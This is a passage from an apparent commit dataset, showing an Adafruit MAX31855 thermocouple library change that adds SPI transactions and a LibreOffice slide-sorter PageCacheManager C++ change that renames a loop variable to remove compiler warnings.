0.25;\n}\n\nvoid Adafruit_MAX31855::readData(void) {\n  if (hSPI) {\n    hspiread32();\n    return;\n  }\n\n  digitalWrite(sclk, LOW);\n  delayMicroseconds(1);\n  digitalWrite(cs, LOW);\n  delayMicroseconds(1);\n\n  data = 0;\n  for (int i = 32; i; i--) {\n    digitalWrite(sclk, LOW);\n    delayMicroseconds(1);\n    data <<= 1;\n    if (digitalRead(miso))\n      data |= 1;\n\n    digitalWrite(sclk, HIGH);\n    delayMicroseconds(1);\n  }\n\n  digitalWrite(cs, HIGH);\n}\n\nvoid Adafruit_MAX31855::hspiread32(void) {\n  digitalWrite(cs, LOW);\n  delayMicroseconds(1);\n  \n  data = 0;\n  for (uint8_t i = 4; i; i--) {\n    data <<= 8;\n    data |= SPI.transfer(0x00);\n  }\n  \n  digitalWrite(cs, HIGH);\n}\n<commit_msg>Use SPI transactions<commit_after>\/*************************************************** \n  This is a library for the Adafruit Thermocouple Sensor w\/MAX31855K\n\n  Designed specifically to work with the Adafruit Thermocouple Sensor\n  ----> https:\/\/www.adafruit.com\/products\/269\n\n  These displays use SPI to communicate, 3 pins are required to  \n  interface\n  Adafruit invests time and resources providing this open source code, \n  please support Adafruit and open-source hardware by purchasing \n  products from Adafruit!\n\n  Written by Limor Fried\/Ladyada for Adafruit Industries.  \n  BSD license, all text above must be included in any redistribution\n ****************************************************\/\n\n#include \"Adafruit_MAX31855.h\"\n#if defined(__AVR__)\n#include <avr\/pgmspace.h>\n#endif\n#include <stdlib.h>\n#include <SPI.h>\n\n\nAdafruit_MAX31855::Adafruit_MAX31855(int8_t SCLK, int8_t CS, int8_t MISO) {\n  sclk = SCLK;\n  cs = CS;\n  miso = MISO;\n  hSPI = 0;\n\n  \/\/define pin modes\n  pinMode(cs, OUTPUT);\n  pinMode(sclk, OUTPUT); \n  pinMode(miso, INPUT);\n\n  digitalWrite(cs, HIGH);\n}\n\nAdafruit_MAX31855::Adafruit_MAX31855(int8_t CS) {\n  cs = CS;\n  hSPI = 1;\n\n  \/\/ Define CS pin mode\n  pinMode(cs, OUTPUT);\n  \n  digitalWrite(cs, HIGH);\n}\n\ndouble Adafruit_MAX31855::internal(void) {\n  uint16_t internal = (data >> 4) & 0x0fff;\n  if (internal & 0x800)\t\/\/ sign extension\n    internal |= 0xf000;\n\n  return internal * 0.0625;\n}\n\ndouble Adafruit_MAX31855::celsius(void) {\n  if (data & 0x7)\n    return NAN;\t\t\/\/ uh oh, a serious problem!\n\n  uint16_t tc = data >> 18;\n  if (tc & 0x2000)\t\/\/ sign extension\n    tc |= 0xc000;\n\n  return (int16_t)tc * 0.25;\n}\n\nvoid Adafruit_MAX31855::readData(void) {\n  if (hSPI) {\n    hspiread32();\n    return;\n  }\n\n  digitalWrite(sclk, LOW);\n  delayMicroseconds(1);\n  digitalWrite(cs, LOW);\n  delayMicroseconds(1);\n\n  data = 0;\n  for (int i = 32; i; i--) {\n    digitalWrite(sclk, LOW);\n    delayMicroseconds(1);\n    data <<= 1;\n    if (digitalRead(miso))\n      data |= 1;\n\n    digitalWrite(sclk, HIGH);\n    delayMicroseconds(1);\n  }\n\n  digitalWrite(cs, HIGH);\n}\n\nvoid Adafruit_MAX31855::hspiread32(void) {\n  SPI.beginTransaction(SPISettings(4000000, MSBFIRST, SPI_MODE0));\n\n  digitalWrite(cs, LOW);\n  delayMicroseconds(1);\n  \n  data = 0;\n  for (uint8_t i = 4; i; i--) {\n    data <<= 8;\n    data |= SPI.transfer(0x00);\n  }\n  \n  digitalWrite(cs, HIGH);\n\n  SPI.endTransaction();\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*************************************************************************\n *\n *  $RCSfile: SlsPageCacheManager.cxx,v $\n *\n *  $Revision: 1.7 $\n *\n *  last change: $Author: obo $ $Date: 2006-09-16 19:04:41 $\n *\n *  The Contents of this file are made available subject to\n *  the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n *    GNU Lesser General Public License Version 2.1\n *    =============================================\n *    Copyright 2005 by Sun Microsystems, Inc.\n *    901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *    This library is free software; you can redistribute it and\/or\n *    modify it under the terms of the GNU Lesser General Public\n *    License version 2.1, as published by the Free Software Foundation.\n *\n *    This library is distributed in the hope that it will be useful,\n *    but WITHOUT ANY WARRANTY; without even the implied warranty of\n *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *    Lesser General Public License for more details.\n *\n *    You should have received a copy of the GNU Lesser General Public\n *    License along with this library; if not, write to the Free Software\n *    Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *    MA  02111-1307  USA\n *\n ************************************************************************\/\n\n\/\/ MARKER(update_precomp.py): autogen include statement, do not remove\n#include \"precompiled_sd.hxx\"\n\n#include \"cache\/SlsPageCacheManager.hxx\"\n\n#include \"SlsBitmapCache.hxx\"\n#include \"view\/SlideSorterView.hxx\"\n#include \"model\/SlideSorterModel.hxx\"\n\n#include <deque>\n#include <map>\n#include <boost\/weak_ptr.hpp>\n\nnamespace {\n\n\/** Collection of data that is stored for all active preview caches.\n*\/\nclass CacheDescriptor\n{\npublic:\n    SdDrawDocument* mpDocument;\n    Size maPreviewSize;\n\n    CacheDescriptor(SdDrawDocument* pDocument, const Size& rPreviewSize)\n        :mpDocument(pDocument),maPreviewSize(rPreviewSize)\n    {}\n    \/\/\/ Test for equality with respect to all members.\n    class Equal {public: bool operator() (\n        const CacheDescriptor& rDescriptor1, const CacheDescriptor& rDescriptor2) const {\n        return rDescriptor1.mpDocument==rDescriptor2.mpDocument\n            && rDescriptor1.maPreviewSize==rDescriptor2.maPreviewSize;\n    } };\n    \/\/\/ Hash function that takes all members into account.\n    class Hash {public: size_t operator() (const CacheDescriptor& rDescriptor) const {\n        return (size_t)rDescriptor.mpDocument + rDescriptor.maPreviewSize.Width();\n    } };\n};\n\n\n\n\n\/** Collection of data that is stored for the inactive, recently used\n    caches.\n*\/\nclass RecentlyUsedCacheDescriptor\n{\npublic:\n    SdDrawDocument* mpDocument;\n    Size maPreviewSize;\n    ::boost::shared_ptr< ::sd::slidesorter::cache::PageCacheManager::Cache> mpCache;\n\n    RecentlyUsedCacheDescriptor(\n        SdDrawDocument* pDocument,\n        const Size& rPreviewSize,\n        const ::boost::shared_ptr< ::sd::slidesorter::cache::PageCacheManager::Cache>& rpCache)\n        :mpDocument(pDocument),maPreviewSize(rPreviewSize),mpCache(rpCache)\n    {}\n};\n\n\n\n\n\/** The list of recently used caches is organized as queue.  When elements\n    are added the list is shortened to the maximally allowed number of\n    elements by removing the least recently used elements.\n*\/\ntypedef ::std::deque<RecentlyUsedCacheDescriptor> RecentlyUsedQueue;\n\n\n\n\n\/** Compare the caches by preview size.  Those that match the given size\n    come first, then, regardless of the given size, the largest ones before\n    the smaller ones.\n*\/\nclass BestFittingCacheComparer\n{\npublic:\n    BestFittingCacheComparer (const Size& rPreferredSize)\n        : maPreferredSize(rPreferredSize)\n    {}\n    bool operator()(const ::sd::slidesorter::cache::PageCacheManager::BestFittingPageCaches::value_type& rElement1,\n        const ::sd::slidesorter::cache::PageCacheManager::BestFittingPageCaches::value_type& rElement2)\n    {\n        if (rElement1.first == maPreferredSize)\n            return true;\n        else if (rElement2.first == maPreferredSize)\n            return false;\n        else\n            return (rElement1.first.Width()*rElement1.first.Height()\n                > rElement2.first.Width()*rElement2.first.Height());\n    }\n\nprivate:\n    Size maPreferredSize;\n};\n\n} \/\/ end of anonymous namespace\n\n\nnamespace sd { namespace slidesorter { namespace cache {\n\n\/** Container for the active caches.\n*\/\nclass PageCacheManager::PageCacheContainer\n    : public ::std::hash_map<CacheDescriptor,\n                             ::boost::shared_ptr<PageCacheManager::Cache>,\n                             CacheDescriptor::Hash,\n                             CacheDescriptor::Equal>\n{\npublic:\n    PageCacheContainer (void) {}\n\n    \/** Compare entries in the cache container with respect to the cache\n        address only.\n    *\/\n    class CompareWithCache { public:\n        CompareWithCache(const ::boost::shared_ptr<PageCacheManager::Cache>& rpCache)\n            : mpCache(rpCache) {}\n        bool operator () (const PageCacheContainer::value_type& rValue)\n        { return rValue.second == mpCache; }\n    private:\n        ::boost::shared_ptr<PageCacheManager::Cache> mpCache;\n    };\n};\n\n\n\/** The recently used caches are stored in one queue for each document.\n*\/\nclass PageCacheManager::RecentlyUsedPageCaches\n    : public ::std::map<SdDrawDocument*,RecentlyUsedQueue>\n{\npublic:\n    RecentlyUsedPageCaches (void) {};\n};\n\n\n\n\nclass PageCacheManager::Deleter\n{\npublic:\n    void operator() (PageCacheManager* pObject) { delete pObject; }\n};\n\n\n\n\/\/===== PageCacheManager ====================================================\n\n::boost::weak_ptr<PageCacheManager> PageCacheManager::mpInstance;\n\n::boost::shared_ptr<PageCacheManager> PageCacheManager::Instance (void)\n{\n    ::boost::shared_ptr<PageCacheManager> pInstance;\n\n    ::osl::MutexGuard aGuard (::osl::Mutex::getGlobalMutex());\n\n    pInstance = mpInstance.lock();\n    if (pInstance.get() == NULL)\n    {\n        pInstance = ::boost::shared_ptr<PageCacheManager>(\n            new PageCacheManager(),\n            PageCacheManager::Deleter());\n        mpInstance = pInstance;\n    }\n\n    return pInstance;\n}\n\n\n\n\nPageCacheManager::PageCacheManager (void)\n    : mpPageCaches(new PageCacheContainer()),\n      mpRecentlyUsedPageCaches(new RecentlyUsedPageCaches()),\n      mnMaximalRecentlyCacheCount(2)\n{\n}\n\n\n\n\nPageCacheManager::~PageCacheManager (void)\n{\n}\n\n\n\n\n::boost::shared_ptr<PageCacheManager::Cache> PageCacheManager::GetCache (\n    SdDrawDocument* pDocument,\n    const Size& rPreviewSize)\n{\n    ::boost::shared_ptr<Cache> pResult;\n\n    \/\/ Look for the cache in the list of active caches.\n    CacheDescriptor aKey (pDocument, rPreviewSize);\n    PageCacheContainer::iterator iCache (mpPageCaches->find(aKey));\n    if (iCache != mpPageCaches->end())\n        pResult = iCache->second;\n\n    \/\/ Look for the cache in the list of recently used caches.\n    if (pResult.get() == NULL)\n        pResult = GetRecentlyUsedCache(pDocument, rPreviewSize);\n\n    \/\/ Create the cache when no suitable one does exist.\n    if (pResult.get() == NULL)\n        pResult.reset(new Cache());\n\n    \/\/ The cache may be newly created and thus empty or is old and may\n    \/\/ contain previews that are not up-to-date.  Recycle previews from\n    \/\/ other caches to fill in the holes.\n    Recycle(pResult, pDocument,rPreviewSize);\n\n    \/\/ Put the new (or old) cache into the container.\n    if (pResult.get() != NULL)\n        mpPageCaches->insert(PageCacheContainer::value_type(aKey, pResult));\n\n    OSL_TRACE(\"returning cache %x for document %x and size %d %d\",\n        pResult.get(), pDocument, rPreviewSize.Width(),rPreviewSize.Height());\n\n    return pResult;\n}\n\n\n\n\nvoid PageCacheManager::Recycle (\n    const ::boost::shared_ptr<Cache>& rpCache,\n    SdDrawDocument* pDocument,\n    const Size& rPreviewSize)\n{\n    BestFittingPageCaches aCaches;\n\n    \/\/ Add bitmap caches from active caches.\n    PageCacheContainer::iterator iActiveCache;\n    for (iActiveCache=mpPageCaches->begin(); iActiveCache!=mpPageCaches->end(); ++iActiveCache)\n    {\n        if (iActiveCache->first.mpDocument == pDocument)\n            aCaches.push_back(BestFittingPageCaches::value_type(\n                iActiveCache->first.maPreviewSize, iActiveCache->second));\n    }\n\n    \/\/ Add bitmap caches from recently used caches.\n    RecentlyUsedPageCaches::iterator iQueue (mpRecentlyUsedPageCaches->find(pDocument));\n    if (iQueue != mpRecentlyUsedPageCaches->end())\n    {\n        RecentlyUsedQueue::const_iterator iRecentCache;\n        for (iRecentCache=iQueue->second.begin();iRecentCache!=iQueue->second.end();++iRecentCache)\n            aCaches.push_back(BestFittingPageCaches::value_type(\n                iRecentCache->maPreviewSize, iRecentCache->mpCache));\n    }\n\n    ::std::sort(aCaches.begin(), aCaches.end(), BestFittingCacheComparer(rPreviewSize));\n\n    BestFittingPageCaches::const_iterator iBestCache;\n    for (iBestCache=aCaches.begin(); iBestCache!=aCaches.end(); ++iBestCache)\n    {\n        rpCache->Recycle(*iBestCache->second);\n    }\n}\n\n\n\n\nvoid PageCacheManager::ReleaseCache (const ::boost::shared_ptr<Cache>& rpCache)\n{\n    PageCacheContainer::iterator iCache (::std::find_if(\n        mpPageCaches->begin(),\n        mpPageCaches->end(),\n        PageCacheContainer::CompareWithCache(rpCache)));\n\n    if (iCache != mpPageCaches->end())\n    {\n        OSL_ASSERT(iCache->second == rpCache);\n\n        PutRecentlyUsedCache(iCache->first.mpDocument,iCache->first.maPreviewSize,rpCache);\n\n        mpPageCaches->erase(iCache);\n    }\n}\n\n\n\n\n::boost::shared_ptr<PageCacheManager::Cache> PageCacheManager::ChangeSize (\n    const ::boost::shared_ptr<Cache>& rpCache,\n    const Size& rOldPreviewSize,\n    const Size& rNewPreviewSize)\n{\n    OSL_TRACE(\"changing size of cache %x from %d %d to %d %d\",\n        rpCache.get(),\n        rOldPreviewSize.Width(),rOldPreviewSize.Height(),\n        rNewPreviewSize.Width(),rNewPreviewSize.Height());\n    ::boost::shared_ptr<Cache> pResult;\n\n    if (rpCache.get() != NULL)\n    {\n        \/\/ Look up the given cache in the list of active caches.\n        PageCacheContainer::iterator iCacheToChange (::std::find_if(\n            mpPageCaches->begin(),\n            mpPageCaches->end(),\n            PageCacheContainer::CompareWithCache(rpCache)));\n        OSL_ASSERT(iCacheToChange != mpPageCaches->end());\n        if (iCacheToChange != mpPageCaches->end())\n        {\n            OSL_ASSERT(iCacheToChange->second == rpCache);\n\n            \/\/ Now, we can change the preview size of the existing one by\n            \/\/ removing the cache from the list and re-insert it with the\n            \/\/ updated size.\n            mpPageCaches->erase(iCacheToChange);\n            mpPageCaches->insert(PageCacheContainer::value_type(\n                CacheDescriptor(iCacheToChange->first.mpDocument,rNewPreviewSize),\n                rpCache));\n\n            pResult = rpCache;\n        }\n    }\n\n    return pResult;\n}\n\n\n\n\nvoid PageCacheManager::InvalidatePreviewBitmap (\n    SdDrawDocument* pDocument,\n    const SdrPage* pKey)\n{\n    if (pDocument!=NULL)\n    {\n        \/\/ Iterate over all caches that are currently in use and invalidate\n        \/\/ the previews in those that belong to the document.\n        PageCacheContainer::iterator iCache;\n        for (iCache=mpPageCaches->begin(); iCache!=mpPageCaches->end();  ++iCache)\n            if (iCache->first.mpDocument == pDocument)\n                iCache->second->InvalidateBitmap(pKey);\n\n        \/\/ Invalidate the previews in the recently used caches belonging to\n        \/\/ the given document.\n        RecentlyUsedPageCaches::iterator iQueue (mpRecentlyUsedPageCaches->find(pDocument));\n        if (iQueue != mpRecentlyUsedPageCaches->end())\n        {\n            RecentlyUsedQueue::const_iterator iCache;\n            for (iCache=iQueue->second.begin(); iCache!=iQueue->second.end(); ++iCache)\n                iCache->mpCache->InvalidateBitmap(pKey);\n        }\n    }\n}\n\n\n\n\nvoid PageCacheManager::InvalidateAllCaches (void)\n{\n    \/\/ Iterate over all caches that are currently in use and invalidate\n    \/\/ them.\n    PageCacheContainer::iterator iCache;\n    for (iCache=mpPageCaches->begin(); iCache!=mpPageCaches->end();  ++iCache)\n        iCache->second->InvalidateCache();\n\n    \/\/ Remove all recently used caches, there is not much sense in storing\n    \/\/ invalidated and unused caches.\n    mpRecentlyUsedPageCaches->clear();\n}\n\n\n\n\n::boost::shared_ptr<PageCacheManager::Cache> PageCacheManager::GetRecentlyUsedCache (\n    SdDrawDocument* pDocument,\n    const Size& rPreviewSize)\n{\n    ::boost::shared_ptr<Cache> pCache;\n\n    \/\/ Look for the cache in the list of recently used caches.\n    RecentlyUsedPageCaches::iterator iQueue (mpRecentlyUsedPageCaches->find(pDocument));\n    if (iQueue != mpRecentlyUsedPageCaches->end())\n    {\n        RecentlyUsedQueue::iterator iCache;\n        for (iCache=iQueue->second.begin(); iCache!= iQueue->second.end(); ++iCache)\n            if (iCache->maPreviewSize == rPreviewSize)\n            {\n                pCache = iCache->mpCache;\n                iQueue->second.erase(iCache);\n                break;\n            }\n    }\n\n    return pCache;\n}\n\n\n\n\nvoid PageCacheManager::PutRecentlyUsedCache(\n    SdDrawDocument* pDocument,\n    const Size& rPreviewSize,\n    const ::boost::shared_ptr<Cache>& rpCache)\n{\n    \/\/ Look up the list of recently used caches for the given document.\n    RecentlyUsedPageCaches::iterator iQueue (mpRecentlyUsedPageCaches->find(pDocument));\n    if (iQueue == mpRecentlyUsedPageCaches->end())\n        iQueue = mpRecentlyUsedPageCaches->insert(\n            RecentlyUsedPageCaches::value_type(pDocument, RecentlyUsedQueue())\n            ).first;\n\n    if (iQueue != mpRecentlyUsedPageCaches->end())\n    {\n        iQueue->second.push_front(RecentlyUsedCacheDescriptor(pDocument,rPreviewSize,rpCache));\n        \/\/ Shorten the list of recently used caches to the allowed maximal length.\n        while (iQueue->second.size() > mnMaximalRecentlyCacheCount)\n            iQueue->second.pop_back();\n    }\n}\n\n\n\n} } } \/\/ end of namespace ::sd::slidesorter::cache\n<commit_msg>INTEGRATION: CWS sdwarningsbegone (1.7.38); FILE MERGED 2006\/11\/22 12:42:10 cl 1.7.38.1: #i69285# warning free code changes for unxlngi6.pro<commit_after>\/*************************************************************************\n *\n *  $RCSfile: SlsPageCacheManager.cxx,v $\n *\n *  $Revision: 1.8 $\n *\n *  last change: $Author: kz $ $Date: 2006-12-12 18:17:53 $\n *\n *  The Contents of this file are made available subject to\n *  the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n *    GNU Lesser General Public License Version 2.1\n *    =============================================\n *    Copyright 2005 by Sun Microsystems, Inc.\n *    901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *    This library is free software; you can redistribute it and\/or\n *    modify it under the terms of the GNU Lesser General Public\n *    License version 2.1, as published by the Free Software Foundation.\n *\n *    This library is distributed in the hope that it will be useful,\n *    but WITHOUT ANY WARRANTY; without even the implied warranty of\n *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *    Lesser General Public License for more details.\n *\n *    You should have received a copy of the GNU Lesser General Public\n *    License along with this library; if not, write to the Free Software\n *    Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *    MA  02111-1307  USA\n *\n ************************************************************************\/\n\n\/\/ MARKER(update_precomp.py): autogen include statement, do not remove\n#include \"precompiled_sd.hxx\"\n\n#include \"cache\/SlsPageCacheManager.hxx\"\n\n#include \"SlsBitmapCache.hxx\"\n#include \"view\/SlideSorterView.hxx\"\n#include \"model\/SlideSorterModel.hxx\"\n\n#include <deque>\n#include <map>\n#include <boost\/weak_ptr.hpp>\n\nnamespace {\n\n\/** Collection of data that is stored for all active preview caches.\n*\/\nclass CacheDescriptor\n{\npublic:\n    SdDrawDocument* mpDocument;\n    Size maPreviewSize;\n\n    CacheDescriptor(SdDrawDocument* pDocument, const Size& rPreviewSize)\n        :mpDocument(pDocument),maPreviewSize(rPreviewSize)\n    {}\n    \/\/\/ Test for equality with respect to all members.\n    class Equal {public: bool operator() (\n        const CacheDescriptor& rDescriptor1, const CacheDescriptor& rDescriptor2) const {\n        return rDescriptor1.mpDocument==rDescriptor2.mpDocument\n            && rDescriptor1.maPreviewSize==rDescriptor2.maPreviewSize;\n    } };\n    \/\/\/ Hash function that takes all members into account.\n    class Hash {public: size_t operator() (const CacheDescriptor& rDescriptor) const {\n        return (size_t)rDescriptor.mpDocument + rDescriptor.maPreviewSize.Width();\n    } };\n};\n\n\n\n\n\/** Collection of data that is stored for the inactive, recently used\n    caches.\n*\/\nclass RecentlyUsedCacheDescriptor\n{\npublic:\n    SdDrawDocument* mpDocument;\n    Size maPreviewSize;\n    ::boost::shared_ptr< ::sd::slidesorter::cache::PageCacheManager::Cache> mpCache;\n\n    RecentlyUsedCacheDescriptor(\n        SdDrawDocument* pDocument,\n        const Size& rPreviewSize,\n        const ::boost::shared_ptr< ::sd::slidesorter::cache::PageCacheManager::Cache>& rpCache)\n        :mpDocument(pDocument),maPreviewSize(rPreviewSize),mpCache(rpCache)\n    {}\n};\n\n\n\n\n\/** The list of recently used caches is organized as queue.  When elements\n    are added the list is shortened to the maximally allowed number of\n    elements by removing the least recently used elements.\n*\/\ntypedef ::std::deque<RecentlyUsedCacheDescriptor> RecentlyUsedQueue;\n\n\n\n\n\/** Compare the caches by preview size.  Those that match the given size\n    come first, then, regardless of the given size, the largest ones before\n    the smaller ones.\n*\/\nclass BestFittingCacheComparer\n{\npublic:\n    BestFittingCacheComparer (const Size& rPreferredSize)\n        : maPreferredSize(rPreferredSize)\n    {}\n    bool operator()(const ::sd::slidesorter::cache::PageCacheManager::BestFittingPageCaches::value_type& rElement1,\n        const ::sd::slidesorter::cache::PageCacheManager::BestFittingPageCaches::value_type& rElement2)\n    {\n        if (rElement1.first == maPreferredSize)\n            return true;\n        else if (rElement2.first == maPreferredSize)\n            return false;\n        else\n            return (rElement1.first.Width()*rElement1.first.Height()\n                > rElement2.first.Width()*rElement2.first.Height());\n    }\n\nprivate:\n    Size maPreferredSize;\n};\n\n} \/\/ end of anonymous namespace\n\n\nnamespace sd { namespace slidesorter { namespace cache {\n\n\/** Container for the active caches.\n*\/\nclass PageCacheManager::PageCacheContainer\n    : public ::std::hash_map<CacheDescriptor,\n                             ::boost::shared_ptr<PageCacheManager::Cache>,\n                             CacheDescriptor::Hash,\n                             CacheDescriptor::Equal>\n{\npublic:\n    PageCacheContainer (void) {}\n\n    \/** Compare entries in the cache container with respect to the cache\n        address only.\n    *\/\n    class CompareWithCache { public:\n        CompareWithCache(const ::boost::shared_ptr<PageCacheManager::Cache>& rpCache)\n            : mpCache(rpCache) {}\n        bool operator () (const PageCacheContainer::value_type& rValue)\n        { return rValue.second == mpCache; }\n    private:\n        ::boost::shared_ptr<PageCacheManager::Cache> mpCache;\n    };\n};\n\n\n\/** The recently used caches are stored in one queue for each document.\n*\/\nclass PageCacheManager::RecentlyUsedPageCaches\n    : public ::std::map<SdDrawDocument*,RecentlyUsedQueue>\n{\npublic:\n    RecentlyUsedPageCaches (void) {};\n};\n\n\n\n\nclass PageCacheManager::Deleter\n{\npublic:\n    void operator() (PageCacheManager* pObject) { delete pObject; }\n};\n\n\n\n\/\/===== PageCacheManager ====================================================\n\n::boost::weak_ptr<PageCacheManager> PageCacheManager::mpInstance;\n\n::boost::shared_ptr<PageCacheManager> PageCacheManager::Instance (void)\n{\n    ::boost::shared_ptr<PageCacheManager> pInstance;\n\n    ::osl::MutexGuard aGuard (::osl::Mutex::getGlobalMutex());\n\n    pInstance = mpInstance.lock();\n    if (pInstance.get() == NULL)\n    {\n        pInstance = ::boost::shared_ptr<PageCacheManager>(\n            new PageCacheManager(),\n            PageCacheManager::Deleter());\n        mpInstance = pInstance;\n    }\n\n    return pInstance;\n}\n\n\n\n\nPageCacheManager::PageCacheManager (void)\n    : mpPageCaches(new PageCacheContainer()),\n      mpRecentlyUsedPageCaches(new RecentlyUsedPageCaches()),\n      mnMaximalRecentlyCacheCount(2)\n{\n}\n\n\n\n\nPageCacheManager::~PageCacheManager (void)\n{\n}\n\n\n\n\n::boost::shared_ptr<PageCacheManager::Cache> PageCacheManager::GetCache (\n    SdDrawDocument* pDocument,\n    const Size& rPreviewSize)\n{\n    ::boost::shared_ptr<Cache> pResult;\n\n    \/\/ Look for the cache in the list of active caches.\n    CacheDescriptor aKey (pDocument, rPreviewSize);\n    PageCacheContainer::iterator iCache (mpPageCaches->find(aKey));\n    if (iCache != mpPageCaches->end())\n        pResult = iCache->second;\n\n    \/\/ Look for the cache in the list of recently used caches.\n    if (pResult.get() == NULL)\n        pResult = GetRecentlyUsedCache(pDocument, rPreviewSize);\n\n    \/\/ Create the cache when no suitable one does exist.\n    if (pResult.get() == NULL)\n        pResult.reset(new Cache());\n\n    \/\/ The cache may be newly created and thus empty or is old and may\n    \/\/ contain previews that are not up-to-date.  Recycle previews from\n    \/\/ other caches to fill in the holes.\n    Recycle(pResult, pDocument,rPreviewSize);\n\n    \/\/ Put the new (or old) cache into the container.\n    if (pResult.get() != NULL)\n        mpPageCaches->insert(PageCacheContainer::value_type(aKey, pResult));\n\n    OSL_TRACE(\"returning cache %x for document %x and size %d %d\",\n        pResult.get(), pDocument, rPreviewSize.Width(),rPreviewSize.Height());\n\n    return pResult;\n}\n\n\n\n\nvoid PageCacheManager::Recycle (\n    const ::boost::shared_ptr<Cache>& rpCache,\n    SdDrawDocument* pDocument,\n    const Size& rPreviewSize)\n{\n    BestFittingPageCaches aCaches;\n\n    \/\/ Add bitmap caches from active caches.\n    PageCacheContainer::iterator iActiveCache;\n    for (iActiveCache=mpPageCaches->begin(); iActiveCache!=mpPageCaches->end(); ++iActiveCache)\n    {\n        if (iActiveCache->first.mpDocument == pDocument)\n            aCaches.push_back(BestFittingPageCaches::value_type(\n                iActiveCache->first.maPreviewSize, iActiveCache->second));\n    }\n\n    \/\/ Add bitmap caches from recently used caches.\n    RecentlyUsedPageCaches::iterator iQueue (mpRecentlyUsedPageCaches->find(pDocument));\n    if (iQueue != mpRecentlyUsedPageCaches->end())\n    {\n        RecentlyUsedQueue::const_iterator iRecentCache;\n        for (iRecentCache=iQueue->second.begin();iRecentCache!=iQueue->second.end();++iRecentCache)\n            aCaches.push_back(BestFittingPageCaches::value_type(\n                iRecentCache->maPreviewSize, iRecentCache->mpCache));\n    }\n\n    ::std::sort(aCaches.begin(), aCaches.end(), BestFittingCacheComparer(rPreviewSize));\n\n    BestFittingPageCaches::const_iterator iBestCache;\n    for (iBestCache=aCaches.begin(); iBestCache!=aCaches.end(); ++iBestCache)\n    {\n        rpCache->Recycle(*iBestCache->second);\n    }\n}\n\n\n\n\nvoid PageCacheManager::ReleaseCache (const ::boost::shared_ptr<Cache>& rpCache)\n{\n    PageCacheContainer::iterator iCache (::std::find_if(\n        mpPageCaches->begin(),\n        mpPageCaches->end(),\n        PageCacheContainer::CompareWithCache(rpCache)));\n\n    if (iCache != mpPageCaches->end())\n    {\n        OSL_ASSERT(iCache->second == rpCache);\n\n        PutRecentlyUsedCache(iCache->first.mpDocument,iCache->first.maPreviewSize,rpCache);\n\n        mpPageCaches->erase(iCache);\n    }\n}\n\n\n\n\n::boost::shared_ptr<PageCacheManager::Cache> PageCacheManager::ChangeSize (\n    const ::boost::shared_ptr<Cache>& rpCache,\n    const Size& rOldPreviewSize,\n    const Size& rNewPreviewSize)\n{\n    OSL_TRACE(\"changing size of cache %x from %d %d to %d %d\",\n        rpCache.get(),\n        rOldPreviewSize.Width(),rOldPreviewSize.Height(),\n        rNewPreviewSize.Width(),rNewPreviewSize.Height());\n    ::boost::shared_ptr<Cache> pResult;\n\n    if (rpCache.get() != NULL)\n    {\n        \/\/ Look up the given cache in the list of active caches.\n        PageCacheContainer::iterator iCacheToChange (::std::find_if(\n            mpPageCaches->begin(),\n            mpPageCaches->end(),\n            PageCacheContainer::CompareWithCache(rpCache)));\n        OSL_ASSERT(iCacheToChange != mpPageCaches->end());\n        if (iCacheToChange != mpPageCaches->end())\n        {\n            OSL_ASSERT(iCacheToChange->second == rpCache);\n\n            \/\/ Now, we can change the preview size of the existing one by\n            \/\/ removing the cache from the list and re-insert it with the\n            \/\/ updated size.\n            mpPageCaches->erase(iCacheToChange);\n            mpPageCaches->insert(PageCacheContainer::value_type(\n                CacheDescriptor(iCacheToChange->first.mpDocument,rNewPreviewSize),\n                rpCache));\n\n            pResult = rpCache;\n        }\n    }\n\n    return pResult;\n}\n\n\n\n\nvoid PageCacheManager::InvalidatePreviewBitmap (\n    SdDrawDocument* pDocument,\n    const SdrPage* pKey)\n{\n    if (pDocument!=NULL)\n    {\n        \/\/ Iterate over all caches that are currently in use and invalidate\n        \/\/ the previews in those that belong to the document.\n        PageCacheContainer::iterator iCache;\n        for (iCache=mpPageCaches->begin(); iCache!=mpPageCaches->end();  ++iCache)\n            if (iCache->first.mpDocument == pDocument)\n                iCache->second->InvalidateBitmap(pKey);\n\n        \/\/ Invalidate the previews in the recently used caches belonging to\n        \/\/ the given document.\n        RecentlyUsedPageCaches::iterator iQueue (mpRecentlyUsedPageCaches->find(pDocument));\n        if (iQueue != mpRecentlyUsedPageCaches->end())\n        {\n            RecentlyUsedQueue::const_iterator iCache2;\n            for (iCache2=iQueue->second.begin(); iCache2!=iQueue->second.end(); ++iCache2)\n                iCache2->mpCache->InvalidateBitmap(pKey);\n        }\n    }\n}\n\n\n\n\nvoid PageCacheManager::InvalidateAllCaches (void)\n{\n    \/\/ Iterate over all caches that are currently in use and invalidate\n    \/\/ them.\n    PageCacheContainer::iterator iCache;\n    for (iCache=mpPageCaches->begin(); iCache!=mpPageCaches->end();  ++iCache)\n        iCache->second->InvalidateCache();\n\n    \/\/ Remove all recently used caches, there is not much sense in storing\n    \/\/ invalidated and unused caches.\n    mpRecentlyUsedPageCaches->clear();\n}\n\n\n\n\n::boost::shared_ptr<PageCacheManager::Cache> PageCacheManager::GetRecentlyUsedCache (\n    SdDrawDocument* pDocument,\n    const Size& rPreviewSize)\n{\n    ::boost::shared_ptr<Cache> pCache;\n\n    \/\/ Look for the cache in the list of recently used caches.\n    RecentlyUsedPageCaches::iterator iQueue (mpRecentlyUsedPageCaches->find(pDocument));\n    if (iQueue != mpRecentlyUsedPageCaches->end())\n    {\n        RecentlyUsedQueue::iterator iCache;\n        for (iCache=iQueue->second.begin(); iCache!= iQueue->second.end(); ++iCache)\n            if (iCache->maPreviewSize == rPreviewSize)\n            {\n                pCache = iCache->mpCache;\n                iQueue->second.erase(iCache);\n                break;\n            }\n    }\n\n    return pCache;\n}\n\n\n\n\nvoid PageCacheManager::PutRecentlyUsedCache(\n    SdDrawDocument* pDocument,\n    const Size& rPreviewSize,\n    const ::boost::shared_ptr<Cache>& rpCache)\n{\n    \/\/ Look up the list of recently used caches for the given document.\n    RecentlyUsedPageCaches::iterator iQueue 